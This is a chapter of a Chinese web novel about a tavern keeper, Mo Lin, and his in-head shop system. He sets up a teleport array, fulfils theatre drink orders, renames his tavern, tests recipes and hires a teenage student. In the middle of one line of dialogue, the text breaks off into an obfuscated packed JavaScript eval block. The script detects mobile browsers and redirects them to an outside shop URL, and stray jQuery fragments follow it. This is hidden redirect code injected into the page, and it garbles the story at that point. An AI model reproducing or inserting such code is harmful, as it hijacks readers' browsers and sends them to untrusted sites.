夜风把剧场后门的声音压得很低。
【墨林。】01的声音比平时轻快。
【小型低阶传送阵已经发放，是否现在取出？】
“嗯。”
【介绍：小型低阶传送阵不可传送活物、传送距离有限、每次使用需消耗魔力。系统内售价：10000铜币。】
【备注：魔力值与魔力石可在系统商店购买。】
【另，系统禁止用户直接倒卖系统商店商品、魔法道具、传送服务赚取差价。】
墨林推门的手顿了一下，“你提前堵我？”
【合理提醒。】
“我像这种人？”
01沉默。
墨林：“……”
很好，连这不太聪明的人机都开始了解他了。
不过也确实有漏洞，这种传送阵放外面，价格要翻倍不止，还需人脉才能买到。
墨林回到酒馆时，旧招牌还挂在门上。
他进门，先把钱袋放在吧台上，银币碰在一起，声音很清脆。
今晚三百份订单的钱，足够他改掉那个名字，也足够他备明后天开业的货。
墨林点开商店：【店铺改名：800铜币/8银币。】
他这次没再犹豫。
【请输入新店名。】——“一间酒馆。”
【确认更改店铺名为：一间酒馆？】——“确认。”
下一刻，门外传来很轻的一声响。
旧招牌被无形的力量摘下，新的木牌落上去，上面的字很简单——一间酒馆。
是一扇终于关上的门，也像另一扇刚被推开的门。
01小声说：【恭喜。】
“嗯。”，墨林收回视线。
“继续干活。”
————
大批订单交给系统，做起来很快。
墨林在菜单界面选好数量，原材料凭空堆起，转眼又变成一份份饮品，依次落进备好的木箱，他连手都插不上。
系统面板上跳出一行行提示：
【蜂蜜梨饮：高等，已完成120份。】
【香料苹果饮：高等，已完成80份。】
【热麦饮：高级，已完成100份。】
01开口：【可惜了，顶级食谱没卖出去。】，指的是热莓果饮。
墨林不觉得可惜，只道：“有的是机会。”
过了一会，朱丽娜来了。
她带了一个杂役，手里拿着黛芙妮给的临时通行牌，风尘仆仆地丢来一句话：“老板说，百利的侧仓库你现在不用想。”
墨林并不意外。
“她让你先用这里。”，朱丽娜把通行牌递给他，“西区剧场侧仓库。能用好，再谈百利。”
墨林接过通行牌，“合理。”
朱丽娜看向这个冷静的老板，“你不失望？”
墨林抬眼，“本来也没指望。”
朱丽娜了然，感叹了句‘不愧是商人’，又吐槽“你们这种聪明人说话真累。”
“你可以只喝饮料。”
朱丽娜点点头，“那倒是。”
到了地方，杂役打开门，仓库里面堆着备用幕布、旧木箱和几把折断的道具剑，杂役刚打扫过，还算干净。
墨林选了靠墙的位置。
传送阵盘放下时，银灰色纹路从边缘亮起，很淡，像水面被月光划开。
朱丽娜看着那点光，感叹：“真是传送阵。”
“小型低阶。”，墨林强调。
朱丽娜表情有些复杂，“你怎么总把便宜的东西说得很贵，又把贵东西说得很便宜。”
“传送阵再低阶，也不是给人送热饮用的。”
墨林没有反驳。剧场订单没那么好拿，这些才是他的优势。
布置好后，第一批先传空杯，随着光纹一闪，二十只杯子稳稳落在阵盘中央，没有碎。
随后，热麦饮、蜂蜜梨饮、香料苹果饮被逐一摆上法阵，按顺序落进仓库。
最后一批香料苹果饮送完，系统提示响起：【剧场订单已完成。】
他在阵盘边缘贴上标记，又让杂役把空杯箱放到旁边。
“这里收货，这里分发，空杯放回右边的箱子。洒漏立刻记数。”
他补了一句，“我会来检查。”
杂役立刻点头。
门口，黛芙妮让人送来合同，上面的字很漂亮，笔锋却硬，写到：
‘西区日两百、东区日一百二，各饮品所需如上……
契约一月。百利暂缓。’
签上名字，01已经在脑子里转圈，【成功了！百利也没有拒绝！】
墨林提醒它：“合同只写了暂缓。”
【所以还有机会。】
这倒是。
墨林把合同折好，杂役还在安排分发，他找了个桌子，翻开账本。
新的一页上，他先写两边的量。西区日200单：梨80、苹果50、麦50、莓20。东区日120单：梨60、苹果20、麦40。
下面画一道横线，写上总售：西区2510，东区1180。
再往下是成本，原材料、每日发动魔法阵的耗费、清洗，一项一项减。
最后一行落下来：日利1800+。
墨林看着这个数，没有立刻合账本。
别人做这单，亏在路上，亏在人工、时间和损耗上，他亏得很少，系统把这些替他压下去了。
朱丽娜说他奢侈，黛芙妮说那个阵盘够抵好一阵的收入。
但按这一算，半个月就回来了。
此刻已经接近深夜，墨林缓步回到酒馆。
街上人少，灯光落下来，新招牌挂在门上，木牌上的字安静得很。
墨林在门口驻足，一会儿，才推门进去。
一切才刚刚开始。
————
系统任务没再刷新，而是换成了进度条：
【阶段一：累计营业收入：0/50000。】
看来传送阵是新手期压轴奖励，之后没那么多机会。
墨林也不失望，穿上围裙，又进了后厨。
塞西尔昨晚说过，水、火候、桶，这些他准备一样一样试。
一直到天泛起白，桌上摆过的杯子换了一轮又一轮，系统才弹出提示。
【小麦啤酒：已完成首次试酿。】
【评价：中等。】
【备注：麦香不足，尾味偏酸，发酵控制仍需改进。】
【中等哎，能卖吗？】
墨林答：“不指望这个。”
【那你还熬了一夜？】
“酒馆总要有酒。”，墨林把酒杯放下，又点开果饮分支。
他之前已经做过许多果饮，对果香、甜度和温度都算熟。
啤酒和果饮的底子一合，果啤的分支很快亮了出来：【可尝试解锁：低度果麦酒。】
他没有急着解锁，转而点开胡辣汤食谱。
工人昨天说的几句话，他都记着，改了香料比例，又加重酸味，最后把油渣熬出的底味压进去。
第五次，系统提示终于变了：
【胡辣汤：上等。】
【备注：热、酸辣、醒口，适合重体力劳动后饮用。】
01立刻精神起来：【不容易！终于有能喝的汤了。】
【那啤酒还要留吗？】——“得要。”
【他们说难喝怎么办？】——“那就再改。”
“先开门，哪里不好再改。”，墨林把菜单晾在一边，“开业又不是考试，不需要做到满分。”
————
中午，东区，工坊街刚换岗一批人，炉火还热，风里有铁灰和油味。
看到墨林带着木箱，不远处有人赶过来，隔着大老远喊：“肉饼呢？”
其他人走近了继续念叨，“昨天那个酥肉饼还有没有？”，“我今天特地空着肚子来的。”
墨林把木箱放下，“开业有。”
几个人立刻不满：“你今天不卖啊？”
“不卖。”，墨林的手还按在木箱盖上，“今天来尝点别的。”
他陆续打开几个盒子，里面分别是炸豆丸、油饼、麻团、锅贴，无一不炸得金黄。
热气冒出来，散发一股油香。
“有意思。”，黑皮壮汉先拿了一颗豆丸，“这又是什么，没肉啊？”
“锅贴有肉。”，墨林指了指。
众人围在木箱边，逐一品尝。
麻团一咬开，芝麻糖浆往外淌；锅贴底面焦脆，里面有肉汁；豆丸外壳脆，里面软，香料味不重，越嚼越香。
几个人原本还在挑有没有肉，吃到后面，刚拿起一份，手已经先伸向了下一份。
有人拿起葱油小卷，“哎，这个不是昨天那个葱油饼？你真改了？”
墨林反问：“昨天不是你们说不好拿？”
那人愣了一下，笑了，“我就随口一说。”
“我记下了。”，他说得太平，周围反倒安静了一瞬。
黑皮壮汉咧了咧嘴，把手里的小卷翻过来看了一圈，忽然想起了什么，“那酸辣汤呢？也改了？”
“改了。”，墨林嘴角染上点笑，“改的很好。”
周围人笑问‘改好了不给尝？’，墨林说：“不给，开业有。”
立刻有人笑骂。
墨林推过去一个木箱，里面装着几十份小食，“带过去给你们的同事尝尝。”
几个壮汉有些狐疑地接过，“多少钱？”
“不用钱。”，他摆摆手，转身走。
“明天开业，来捧场就行了。”
————
回去后，墨林在门口贴了招聘广告，报酬丰厚，来问的人不少。
有嫌时间晚的，有问能不能先预支工钱的，也有一进门就盯着吧台后面酒柜看的。
墨林问了几句，都没留下。
01有些不理解，【一个都不要吗？】
他摆摆手，“有些不如不要。”
他在靠门口的地方摆了个凳子，手里折着纸盒。
油纸盒是浅褐色，边角压得很平，外面用细麻绳系住。比街边摊常用的粗纸干净，也比餐馆的木盒便宜。
墨林又折了个配套的盖，完成后在系统登记。
01看了半天，【你还买包装？】
“嗯。自己吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835652|211407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，纸一包就行。”，墨林压平盒角，“带回家的不行。”
01哑然。
傍晚的时候，门外又有人影晃过去。
那人没进来，在招牌下面站了一会儿，又退到街边，看了看手里的牛皮纸袋。
纸袋已经空了，边角被捏得有些皱，但没有丢。
墨林看了他一眼。
少年个子已经抽高，肩背也有了练剑的架子，脸上还带着没褪干净的稚气。衣袖洗得发白，衣服肩头有骑士学校的徽章，腰间挂着一把短剑。
他抬头看招牌 —— 一间酒馆，又低头看牛皮纸袋，显然更迷茫了。
墨林推开门，“找人？”
少年立刻站直：“我找墨林之家。”
墨林顿了一下，回答，“是这里。”
少年意外，抬头看了眼招牌，问：“改名了？”
墨林应了一声，少年点头：“那我找对了。”
他说完，又有些不好意思，把手里的牛皮纸袋递过来，“这个，是你们家的吧？”
墨林接过来看了一眼。
袋子是他从系统随手买的，给布置冰箱的小学徒装吃的用，上面印有店名，他倒是没注意，答：“是。”
少年松了口气，“我妹妹说好吃。我想再买一份，结果找不到店。”
墨林问：“你自己吃了吗？好吃吗？”
“尝了一口，好吃！”，少年回答得很快，停了一下，又补了一句：“我还听说这里有甜的饮料，也想带回去给妹妹尝尝。”
“听说？”，墨林抬眼。
少年点头：“下工前经过一次，没找到。后来问了人，说这里有家新酒馆，老板是个短头发、很白、长得很好看的男人。”
“我妹妹也说，做肉饼的老板长得很漂亮，应该就是这里。”，他说得一本正经。
墨林沉默了一下，01在脑子里笑出了声。
少年像是察觉到这话不太对，立刻补救：“我的意思是，你很好认。”
更糟了。
墨林把纸袋还给他，“今天不卖了，明天开业。”
少年有些失望，但没有纠缠，他看了看天色，立刻把纸袋折好，塞进怀里：
“那我明天再来，我要去赶工了。”
“你还上工？”，墨林看了眼他衣服肩头的徽章。
少年点头：“放学后去。”
他又问：“每天都去？”
“每天都去。训练早结束，就多做一点。”
“赚多少？”，少年给他报了一个数，不高，对于一个学生来说，算辛苦钱。
墨林的视线落到他手上，起皱的边角似是被顺手压平，没有边线的牛皮纸袋被叠得整齐，忽然问：“以前在食铺做过？”
少年一怔，“有过。”，后知后觉道：“你怎么知道？”
“看你折纸袋的手法。”，墨林递过去一份菜单，“念一遍。”
对面乖乖接过，清脆的少年声响起：
“酥肉饼十五，葱油小卷二十，炸豆丸十，胡辣汤十五、热麦饮、蜂蜜梨饮……”
“有什么感想。”
“不太像酒铺。”，少年说得很直，“像街上的食摊。”
他说完才觉得这话不太客气，又弥补了一句，“但是干净些。”
墨林没打断。少年看他没有生气，才继续说：“价格也不太像食摊，葱油小卷和热汤平常会便宜些。”
“还有？”
“这些大多像是外带的。”，少年指了指菜单：“但没写清楚堂食和外带是不是一样价，客人可能会问。”
“会收钱？”，他看少年点点头说自己常收。
墨林颔首：
“如果我这里报酬更高，每天放学后来，做到晚上。开业后会很忙，端东西、收桌子、打包、记客人的要求，什么都要做。能吃苦吗？”
少年没有立刻答应，先问几点结束，墨林报了时间。
他低头算了一下，点头，“可以，但不能更晚了。第二天有晨训，会影响。”
墨林没说话。
少年又说：“但我可以快一点。收桌子、搬东西、跑腿都可以。我记性也还行，客人要什么，我能记住。”
他说完，余光小心地瞟了一眼墙上的招聘告示。
墨林温和地笑了笑，“看来你已经决定好了。”
少年不好意思地挠挠头，“不过我不太会说好听的话。”
墨林说：“不用说好听的。”
“把客人要的东西听清楚，少出错；有人找事，先来叫我；有人问菜单，你照实说。不能进后厨。能做到吗？”
看到少年应下，墨林说：“明天来试一天，照常给工钱。”
少年眼睛亮了一下，“好！”
“年龄、名字。”
“乔.格里芬，叫我乔就行，今年十六岁，很快就毕业了。”
墨林记录下他的信息，也不耽误他，挥挥手让他去做工。
乔看了一眼招牌，把“一间酒馆”四个字认认真真记住，才转身跑向工坊街。
暮色压下来。
少年抱着那个空纸袋跑远，背影很快融进渐亮起的灯火。